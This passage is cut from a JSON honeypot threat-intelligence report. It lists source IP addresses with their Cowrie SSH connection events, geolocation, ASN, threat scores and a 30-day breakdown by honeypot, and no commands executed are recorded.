      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:32:46.051000+00:00",
        "last_seen_30d": "2026-03-10T23:33:54.892000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.73": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:32:08.326Z",
      "last_seen": "2026-03-10T23:32:10.683Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "CORENTIN"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:32:08.326000+00:00",
        "last_seen_30d": "2026-03-10T23:33:11.097000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "18.220.248.172": {
      "attack_count": 4,
      "first_seen": "2026-03-08T10:44:57.735Z",
      "last_seen": "2026-03-08T10:44:58.582Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-08T10:44:57+00:00",
        "last_seen_30d": "2026-03-08T10:55:08.225000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 110,
        "Dionaea": 9,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Redishoneypot": 2
      }
    },
    "18.234.210.139": {
      "attack_count": 4,
      "first_seen": "2026-03-22T00:55:48.447Z",
      "last_seen": "2026-03-22T00:55:55.755Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T00:55:48.447000+00:00",
        "last_seen_30d": "2026-03-22T00:56:56.993000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.228": {
      "attack_count": 4,
      "first_seen": "2026-03-17T08:12:01.135Z",
      "last_seen": "2026-03-19T06:51:03.347Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 29,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-03T03:50:21+00:00",
        "last_seen_30d": "2026-03-31T15:40:13.071000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113,
        "Honeytrap": 39,
        "Cowrie": 4,
        "ConPot": 2,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "3.88.110.161": {
      "attack_count": 4,
      "first_seen": "2026-03-10T00:47:47.186Z",
      "last_seen": "2026-03-10T00:47:51.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-10T00:47:47.186000+00:00",
        "last_seen_30d": "2026-03-12T00:51:42.072000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "45.115.107.203": {
      "attack_count": 4,
      "first_seen": "2026-03-02T22:34:37.149Z",
      "last_seen": "2026-03-06T20:00:59.526Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 134026,
      "as_org": "Ultranet services private limited",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T22:34:37.149000+00:00",
        "last_seen_30d": "2026-03-06T20:02:03.623000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "54.224.230.196": {
      "attack_count": 4,
      "first_seen": "2026-03-05T00:50:04.950Z",
      "last_seen": "2026-03-05T00:50:09.017Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T00:50:04.950000+00:00",
        "last_seen_30d": "2026-03-05T00:52:22.130000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "64.62.197.41": {
      "attack_count": 4,
      "first_seen": "2026-03-28T14:41:12.559Z",
      "last_seen": "2026-03-28T14:41:16.560Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 68.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 26,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T01:15:43.931000+00:00",
        "last_seen_30d": "2026-03-28T14:42:19.647000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 4,
        "Honeytrap": 4,
        "ElasticPot": 1
      }
    },
    "65.49.1.24": {
      "attack_count": 3,
      "first_seen": "2026-03-22T03:56:10.565Z",
      "last_seen": "2026-03-22T03:56:10.578Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 279,
        "days_active_30d": 30,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T01:21:12.972000+00:00",
        "last_seen_30d": "2026-03-31T14:48:07.474000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185,
        "Honeytrap": 73,
        "Ciscoasa": 13,
        "Cowrie": 3,
        "Adbhoney": 2,
        "Dionaea": 2,
        "Honeyaml": 1
      }
    },
    "103.110.21.201": {
      "attack_count": 2,
      "first_seen": "2026-03-17T12:37:15.405Z",
      "last_seen": "2026-03-17T12:37:27.959Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 132754,
      "as_org": "Realtel Network Services Pvt Ltd",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T12:37:15.405000+00:00",
        "last_seen_30d": "2026-03-17T12:38:29.273000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "121.29.84.87": {
      "attack_count": 2,
      "first_seen": "2026-03-20T18:25:29.361Z",
      "last_seen": "2026-03-20T18:25:29.362Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shijiazhuang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T18:25:29.361000+00:00",
        "last_seen_30d": "2026-03-20T18:26:38.333000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "134.199.148.59": {
      "attack_count": 2,
      "first_seen": "2026-03-14T19:24:24.499Z",
      "last_seen": "2026-03-14T19:24:24.504Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T19:24:11.616000+00:00",
        "last_seen_30d": "2026-03-14T19:25:32.254000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "151.67.124.113": {
      "attack_count": 2,
      "first_seen": "2026-03-08T03:47:26.196Z",
      "last_seen": "2026-03-08T03:47:40.463Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Bologna",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T03:47:26.196000+00:00",
        "last_seen_30d": "2026-03-08T03:48:47.786000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.33.53.183": {
      "attack_count": 2,
      "first_seen": "2026-03-18T12:40:27.110Z",
      "last_seen": "2026-03-18T12:42:27.113Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Khanna",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T12:40:27.110000+00:00",
        "last_seen_30d": "2026-03-18T12:49:20.633000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "170.64.171.19": {
      "attack_count": 2,
      "first_seen": "2026-03-16T00:22:45.218Z",
      "last_seen": "2026-03-16T00:22:45.219Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T00:22:45.218000+00:00",
        "last_seen_30d": "2026-03-16T00:23:53.247000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "176.124.222.72": {
      "attack_count": 2,
      "first_seen": "2026-03-18T06:01:26.491Z",
      "last_seen": "2026-03-18T06:01:30.801Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 216246,
      "as_org": "Aeza Group LLC",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T15:06:36.524000+00:00",
        "last_seen_30d": "2026-03-18T06:02:34.030000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "197.60.244.34": {
      "attack_count": 2,
      "first_seen": "2026-03-02T11:43:36.303Z",
      "last_seen": "2026-03-02T11:44:08.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Giza",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:43:36.303000+00:00",
        "last_seen_30d": "2026-03-02T11:45:13.404000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.41": {
      "attack_count": 2,
      "first_seen": "2026-03-23T00:05:42.874Z",
      "last_seen": "2026-03-23T00:05:52.744Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T03:48:22+00:00",
        "last_seen_30d": "2026-03-31T00:52:59.091000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 34,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "211.46.40.213": {
      "attack_count": 2,
      "first_seen": "2026-03-16T10:54:48.613Z",
      "last_seen": "2026-03-16T10:55:02.997Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongdong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T10:54:48.613000+00:00",
        "last_seen_30d": "2026-03-16T10:56:12.044000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.124.65.221": {
      "attack_count": 2,
      "first_seen": "2026-03-09T17:43:52.683Z",
      "last_seen": "2026-03-09T17:44:05.829Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 151707,
      "as_org": "Ethen Teleinfra Private Limited",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:43:52.683000+00:00",
        "last_seen_30d": "2026-03-09T17:45:11.415000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.183.165": {
      "attack_count": 2,
      "first_seen": "2026-03-21T22:56:24.821Z",
      "last_seen": "2026-03-21T22:56:37.794Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T22:56:24.821000+00:00",
        "last_seen_30d": "2026-03-21T22:57:47.202000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.243.215": {
      "attack_count": 2,
      "first_seen": "2026-03-18T13:53:51.655Z",
      "last_seen": "2026-03-18T13:54:04.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T13:53:51.655000+00:00",
        "last_seen_30d": "2026-03-18T13:55:10.277000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.36.66": {
      "attack_count": 2,
      "first_seen": "2026-03-16T15:53:10.710Z",
      "last_seen": "2026-03-16T15:53:23.652Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T15:53:10.710000+00:00",
        "last_seen_30d": "2026-03-16T15:54:30.066000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.120.127.62": {
      "attack_count": 2,
      "first_seen": "2026-03-11T22:30:47.808Z",
      "last_seen": "2026-03-11T22:31:01.028Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 132934,
      "as_org": "Skymax Broadband Services Pvt. Ltd.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T22:30:47.808000+00:00",
        "last_seen_30d": "2026-03-11T22:32:11.202000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.236.224.50": {
      "attack_count": 2,
      "first_seen": "2026-03-14T19:39:10.276Z",
      "last_seen": "2026-03-14T19:39:41.054Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T19:39:10.276000+00:00",
        "last_seen_30d": "2026-03-14T19:40:41.904000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.130.230.129": {
      "attack_count": 2,
      "first_seen": "2026-03-07T11:25:19.961Z",
      "last_seen": "2026-03-07T11:25:26.236Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Novosibirsk",
      "asn": 31200,
      "as_org": "Novotelecom Ltd",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T11:25:19.961000+00:00",
        "last_seen_30d": "2026-03-07T11:26:32.146000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.183.126.228": {
      "attack_count": 2,
      "first_seen": "2026-03-14T15:18:52.665Z",
      "last_seen": "2026-03-14T15:19:06.081Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T15:18:52.665000+00:00",
        "last_seen_30d": "2026-03-14T15:20:16.135000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.218.192.46": {
      "attack_count": 2,
      "first_seen": "2026-03-29T14:25:18.560Z",
      "last_seen": "2026-03-29T14:25:31.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
